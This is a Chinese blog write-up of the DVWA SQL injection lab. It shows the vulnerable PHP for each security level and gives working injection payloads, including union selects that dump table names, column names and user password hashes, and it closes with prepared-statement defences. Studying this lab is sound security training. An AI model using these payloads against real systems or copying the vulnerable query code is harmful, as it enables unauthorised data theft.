Loading... # 1、目标 基于白盒测试方法,完成 sql 注入利用,学习 sql 注入方法及原理,探索 sql 注入场景。 ![图片.png](http://47.117.131.13/usr/uploads/2022/04/453606963.png) # 2、级别 Low 后台代码: ```php <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: …… } } ?> ``` 前端代码: ```html <form action="#" method="GET"> <p> User ID: <input type="text" size="15" name="id"> <input type="submit" name="Submit" value="Submit"> </p> </form> ``` 关键点: * 后台查询数据库时没有对参数过滤 * 参数以字符串形式传递到查询字符串中 * 打印所有查询结果 明显存在字符型 sql 注入,首先看一下随意输入: 输入:`1` 查询成功: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/2402920830.png) **闭合 `'` 构造永真语句:** 输入: `1' or 1 = 1 #` 攻击成功,打印所有用户名: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/1898086843.png) **打印数据库名称:** 输入:`1' union select 1, database() #` 可得数据库名称为 dvwa: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/1784452422.png) **打印 dvwa 数据库所有表名:** 输入:`1' union select 1, group_concat(table_name) from information_schema.tables where table_schema="dvwa" #` 显示出错: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/2373077721.png) 然后网上 https://xie1997.blog.csdn.net/article/details/81431475 文章中所示同样的输入: 输入:`1′ union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #` 同样也不能攻击成功,但没报错: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/3409495886.png) 后来找到原因 https://blog.csdn.net/qq_43665434/article/details/114088565,是因为我们查询的 first_name、last_name 和 table_name 的 collations 不一致导致的,上面我们第二个字符 ' 和 ′ 并不相同: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/1305439902.png) 如上述文章讲述,我们把 users 表中 first_name、last_name 字段的 collation 更改后,继续测试。 输入:`1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #` 攻击成功,可见 dvwa 数据库共有 guestbook、users 两张表: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/644095413.png) **进一步泄露 users 表字段名:** 输入:`1' union select 1, group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="dvwa" #` 注入成功,共有 8 个字段名为 user_id,first_name,last_name,user,password,avatar,last_login,failed_login: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/3119499481.png) **泄露密码:** 输入:`1' union select group_concat(first_name,last_name), group_concat(password) from users #` 注意:这里也要对 password 字段的 collation 做更改。 注入成功: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/3086155999.png) # 3、级别 Medium 后台代码: ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: …… } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?> ``` 前端代码: ```html <form action="#" method="POST"> <p> User ID: <select name="id"><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option></select> <input type="submit" name="Submit" value="Submit"> </p> </form> ``` 相较于级别 Low 改动为: * 使用 POST 方法提交输入 * 使用 mysqli_real_escape_string 过滤 id 值 * id 作为整型值传递到查询字符串中 * 前端通过下拉列表限制输入 使用 mysqli_real_escape_string 方法会转义部分字符,其中就包括 `'` ,这意味着我们无法通过 `'` 闭合查询字符串。然而现在查询字符串中 id 是整型值,存在数字型注入,意味着我们不需要 `'` 了,mysqli_real_escape_string 形同虚设。事实上安全性比 Low 级别更低。 前端通过下拉列表限制输入只能为 1 到 5 的数字,但是这个可以通过抓包更改绕过: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/12590294.png) **构造永真语句:** 输入:`1 or 1=1` ![图片.png](http://47.117.131.13/usr/uploads/2022/04/4109027020.png) 注入成功,打印所有用户名: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/119647921.png) 泄露字段名、密码等操作,基本和级别 Low 一致。 # 4、级别 High 关键代码: ```php <?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: …… } } ?> ``` 相较于级别 Medium 改动为: * id 作为字符串传递到查询字符串中 * 限制查询结果数量为 1 条 * 数据提交页面和结果显示页面不是同一个 更改为字符型注入,然而又去掉了 mysqli_real_escape_string 过滤,此时安全性和级别 Low 完全一致。限制查询结果数量为 1 条,可以通过 `#` 注释绕过。 **构造永真语句:** 输入:`1' or 1=1 #` 注入成功,打印所有用户名: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/3416252112.png) 其余利用和级别 Low 基本一致。 另外,输入提交页面和结果显示页面不是同一个,这里利用了 javascript:popUp 在弹出框中提交数据。这样的设计对手动注入没有任何防护效果,然而却能抵御一般的 sqlmap 等自动化注入操作,因为工具会企图在数据提交页面获取操作结果,然而结果在另一个页面中显示。(TODO: sqlmap 等学习)。 ```html <div class="vulnerable_code_area">Click <a href="#" onclick="javascript:popUp('session-input.php');return false;">here to change your ID</a>. ``` # 5、级别 Impossible 关键代码: ```php <?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: …… } } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 相较于级别 High 改动为: * 使用 is_numeric 校验 id 必须为数值或数值字符串,并转换为数值进行查询 * 使用 PDO 预处理查询 * 使用 LIMIT 1 限制查询结果为 1 条,并在查询后进一步校验结果数量 使用 PDO 预处理查询,且查询前参数被严格校验,必须为数值或数值字符串,完全消除了注入风险。查询后对结果集的数量做进一步校验,更进一步增强了安全性。 # 6、总结 从级别 Low 到级别 Impossible,防御 sql 注入的思路体现为: * 对参数做明确的过滤校验,限制查询结果数量等,这些可以依据具体业务场景而定 * 使用 PDO 预处理查询,方案本身提供足够强大的安全性 * 查询完成后对结果作进一步校验,彻底消除风险 最后修改:2022 年 04 月 14 日 12 : 22 AM © 允许规范转载